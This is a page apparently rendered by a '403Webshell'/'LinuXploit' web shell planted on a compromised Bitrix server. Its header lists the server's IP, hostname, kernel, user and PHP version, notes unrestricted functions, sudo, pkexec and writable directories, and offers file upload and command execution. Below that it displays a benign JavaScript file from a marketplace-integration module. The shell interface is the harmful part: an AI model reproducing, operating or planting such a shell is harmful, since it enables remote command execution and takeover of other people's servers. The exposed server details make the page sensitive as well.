403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/wbs24.ozonapinew/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/wbs24.ozonapinew/stringTemplate.js
class Wbs24OzonapinewStringTemplate {
  setInputHandlers(menuButtonId, inputId, marks) {
    if (!BX) return

    BX.ready(() => {
      BX.bind(BX(menuButtonId), 'click', (event) => {
        event.preventDefault()
        BX.adminShowMenu(event.target, this.getAdminMenuStruct(inputId, marks), '')
      })
    })
  }

  getAdminMenuStruct(inputId, marks) {
    let menuStruct = []
    for (let item of marks) {
      if (typeof item['MENU'] != 'undefined') {
        menuStruct.push({
          'TEXT': item['TEXT'],
          'MENU': this.getAdminMenuStruct(inputId, item['MENU'])
        })
      } else if (typeof item['MARK'] != 'undefined') {
        menuStruct.push({
          'TEXT': item['TEXT'],
          'ONCLICK': 'StringTemplate.addMarkToCursorPosition("'+inputId+'", "{'+item['MARK']+'}")',
        })
      }
    }

    return menuStruct
  }

  addMarkToCursorPosition(inputId, mark) {
    let input = document.querySelector('#'+inputId)
    if (input) {
      let start = input.selectionStart
      let end = input.selectionEnd
      input.value = input.value.substring(0, start) + mark + input.value.substring(end)
      input.focus()
      input.selectionEnd = (start == end) ? (end + mark.length) : end
    }
  }

  async request(action, siteId) {
    let url =
      '/bitrix/tools/wbs24.ozonapinew/interfaceAjax.php?ACTION=' + action
      + '&siteId' + siteId
    ;
    let response = await fetch(url);
    let result = await response.json();

    return  JSON.parse(result);
  }
}

if (typeof window === 'undefined') module.exports = Wbs24OzonapinewStringTemplate;

Youez - 2016 - github.com/yon3zu
LinuXploit